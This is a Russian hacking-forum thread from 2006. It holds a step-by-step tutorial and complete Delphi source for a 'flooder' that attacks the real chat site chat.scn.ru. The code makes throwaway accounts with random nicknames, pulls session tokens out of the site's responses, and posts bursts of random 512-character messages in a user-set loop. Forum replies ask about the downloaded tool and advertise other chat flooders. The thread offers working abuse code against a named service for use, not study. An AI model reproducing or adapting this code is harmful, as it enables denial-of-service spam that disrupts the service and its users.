Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   (Статья) Пишем флуд для чата http://chat.scn.ru/ (https://forum.antichat.xyz/showthread.php?t=20869)

Paranoik 24.06.2006 15:55

(Статья) Пишем флуд для чата http://chat.scn.ru/
 
Для начала на понадобятся две вещи: прямые руки и делфа (я пользуюсь 7-ой).

Начнем.
Запускам delphi, щелкае на главную форму левой кнопкой мыши и в окне свойств, а точнее в значении Caption пишем: "Флдудер для чата http://chat.scn.ru/". Так, первый этам закончен. Теперь зделаем интерфейс проги, бросаем на форму TLable (вкладка Standart), TEdit (вкладка Standart) и TCheckBox (вкладка Standart). Размещаем их боближе друг к другу, они будут отвечать за ник флуда появляющегося в чате. Ставим значение TEdit > Enabled в значение False.

http://koding.msk.ru/1/1.JPG

Тперь идем дальше и бросаем на форму TComboBox (вкладка Standart) и еще один TLabel. Да, кстати, забыл.. напишите значение первого Labl'а > Caption равным "Ник в чате" (без ковычек). Так вот, во втором Labl'е в значение Caption пишем "Выбор команты" (тож без кавычек), а в TComboBox открываем его значение Items (TStrings) и там пишем в столбик комнаты, которы есть в чате на chat.scn.ru:
Главная тусовка
VIP-Интим
Ледяные горки
Темный угол
Барная стойка
ФОРСАЖ!!!
Дедов чуланчик
БОЙНЯ
Чат со звездой
Теперь нажмимает "ок". Опять выбираем ComboBox и в его свойстве Style выбираем csDropDownList. Затем в свестве ComboBox'а > ItemIndex устанавливаем в значение "0". И вот что у нас получается:

http://koding.msk.ru/1/2.JPG

Тперь размещаем на форме две кнопки, TButton с вкладки Standart. В одной на свойстве Caption пишем "Старт", а в другой "Стоп". Тперь устанавливаем значение кнопки с надписью "Стоп" > Enabled в значение False. Затем бросаем на форму один SpinEdit (вкладка Samples) и Label. В Lable пишем "Количество сообщений" а в SpinEdit в свойстве Value ставим значение 1. Теперь следом бросаем на форму еще Lable где пишем "Статус" и бросаем Memo (вкладка Standart). Тперь основная фишка проги, кигьте на форму элемент под название IdHTTP со вкладки Indy Clients. Все ети элементы аккуратно размещаем и прилаем программе более или менее нормальный видок.
Да, еще одно, когда разместите поле Мемо, очистети его и поставьте его свойство ScrollBars в значение ssBoth.
смотрим:

http://koding.msk.ru/1/3.JPG

Вот! Теперь приступаем к написанию программного кода.
Честно я уже замахался писать, так что выкладываю весь код и смотрите дальше сами, думаю все будет понятно. Это статья не для новичков, так точ если хрен че получится, можете скачать исходник проги ниже по ссылке.

Код:

function RandomNick(PLen: Integer): string;
var
str: string;
begin
Randomize;
str := '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM';
Result := '';
repeat
Result := Result + str[Random(Length(str)) + 1];
until (Length(Result) = PLen)
end;

Код:

var
LL : integer;SE:Integer;
Host:String;Referer:String;
RoomScn:String;

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
request :  TStringList; FLooD,FLooD2,FLooD3,FLooD4 : TStringList;
AData :  TStringStream;
code : String;S : String;
STR : String;RandV : integer;
F:TStringList;
session : String;
begin
SE:=SpinEdit1.Value;
LL := 0;
While LL<SE do
Begin
LL := LL+1;

Edit1.Enabled := False;
ComboBox1.Enabled := False;
CheckBox1.Enabled := False;
SpinEdit1.Enabled := False;
Button1.Enabled := False;
Button2.Enabled := True;

Memo1.Lines.Clear;
Memo1.Lines.Add('Отправлено сообщений: '+IntToStr(LL)+'_ИЗ_'+IntToStr(SE));

Host:='chat.scn.ru';
Referer:='http://chat.scn.ru';

idhttp1.Port := 80;
idhttp1.Host := Host;
idhttp1.ReadTimeout := 10000;
idhttp1.Request.Connection := 'Keep-Alive';
idhttp1.Request.AcceptLanguage := 'ru';
//idhttp1.Request.ContentLength := 160;
idhttp1.Request.Host := Host;
idhttp1.Request.Referer := Referer;
idhttp1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT.5.1)';
idhttp1.Request.ContentType := 'application/x-www-form-urlencoded';

request := TStringList.Create;
AData := TStringStream.Create('');

try
idhttp1.Post('http://chat.scn.ru/index.php',request,Adata);
except on E:Exception do
end;
request.Add('user_name='+Edit1.Text+RandomNick(10));
request.Add('sex=1');
request.Add('password=');
request.Add('room='+RoomScn);
request.Add('chat_type=1');
request.Add('action=1');
request.Add('design=real');
try
idhttp1.Post('http://chat.scn.ru/?',request,Adata);
except on E:Exception do
end;
request.Free;
try
Code := AData.DataString;
AData.Free;
F:=TStringList.Create;
F.Text:=Code;
S:=F.Strings[359];
Str := Copy(S,63,32);
session := STR;
F.Free;
Except
end;
Randomize;
RandV := Random(28);
FLooD := TStringList.Create;
FLooD.Add('session='+session);
FLooD.Add('mesg='+RandomNick(512));
FLooD.Add('user_color='+intToStr(RandV));
Randomize;
RandV := Random(28);
FLooD2 := TStringList.Create;
FLooD2.Add('session='+session);
FLooD2.Add('mesg='+RandomNick(512));
FLooD2.Add('user_color='+intToStr(RandV));
Randomize;
RandV := Random(28);
FLooD3 := TStringList.Create;
FLooD3.Add('session='+session);
FLooD3.Add('mesg='+RandomNick(512));
FLooD3.Add('user_color='+intToStr(RandV));
Randomize;
RandV := Random(28);
FLooD4 := TStringList.Create;
FLooD4.Add('session='+session);
FLooD4.Add('mesg='+RandomNick(506)+'>RoBoT');
FLooD4.Add('user_color='+intToStr(RandV));

try  idhttp1.Post('http://chat.scn.ru/sender.php',FLooD);  except end;
try  idhttp1.Post('http://chat.scn.ru/sender.php',FLooD2); except end;
try  idhttp1.Post('http://chat.scn.ru/sender.php',FLooD3); except end;
try  idhttp1.Post('http://chat.scn.ru/sender.php',FLooD4); except end;
FLooD.Free;
FLooD2.Free;
FLooD3.Free;
FLooD4.Free;
try
idhttp1.Get('http://chat.scn.ru/index.php?session='+session+'&go=logout/');
except
end;

Try
idhttp1.Disconnect;
idhttp1.DisconnectSocket;
except
end;
if LL=SE then
begin

Edit1.Enabled := True;
ComboBox1.Enabled := True;
CheckBox1.Enabled := True;
SpinEdit1.Enabled := True;
Button1.Enabled := True;
Button2.Enabled := False;

end;
end;
end;

Код:

procedure TForm1.Button2Click(Sender: TObject);
begin
LL:=SE;
Try
idhttp1.Disconnect;
idhttp1.DisconnectSocket;
except
end;
Sleep(2000);
Edit1.Enabled := True;
ComboBox1.Enabled := True;
CheckBox1.Enabled := True;
SpinEdit1.Enabled := True;
Button1.Enabled := True;
Button2.Enabled := False;
end;

Всё!!... :D
Если хрен че получилось, качайте исходник проги ОТСЮДА

==========

всегда играю в flash игры бесплатно на www.nogame.ru

fucker"ok 24.06.2006 16:38

Не понимаю такую статью в принципе. Она для кого? Для эникеев, которые на форму что-то перетащили, куски кода переписали и уже могут сказать "я это сделал сам!".

Ну давайте по поводу каждой программы писать такие же статьи... Или ещё круче: снимим видео "как я писал эту программу".

ЗЫ
Автор, достаточно было просто кинуть исходники.

Alex_000 02.07.2006 08:58

за flood.rar пасиба!
тока он у меня на 5 сообщениях останавливается!((((

k1b0rg 02.07.2006 11:26

я для инди, антифриз бы использовал.

Alex_000 02.07.2006 13:26

никто не подскажет,как устранить такую фигню с flood.rar ((

Utochka 02.07.2006 13:41

http://xzone.org.ru/hack/flood.JPG

а вот моя версия флудера

Alex_000 02.07.2006 13:48

Это для какого чата?

Utochka 02.07.2006 13:53

для любого Voodoo чата, читать че не учили?

Alex_000 02.07.2006 13:57

ты указал бы,где качнуть

Utochka 02.07.2006 13:59

ггг, ты бы спросил где купить )


Время: 17:50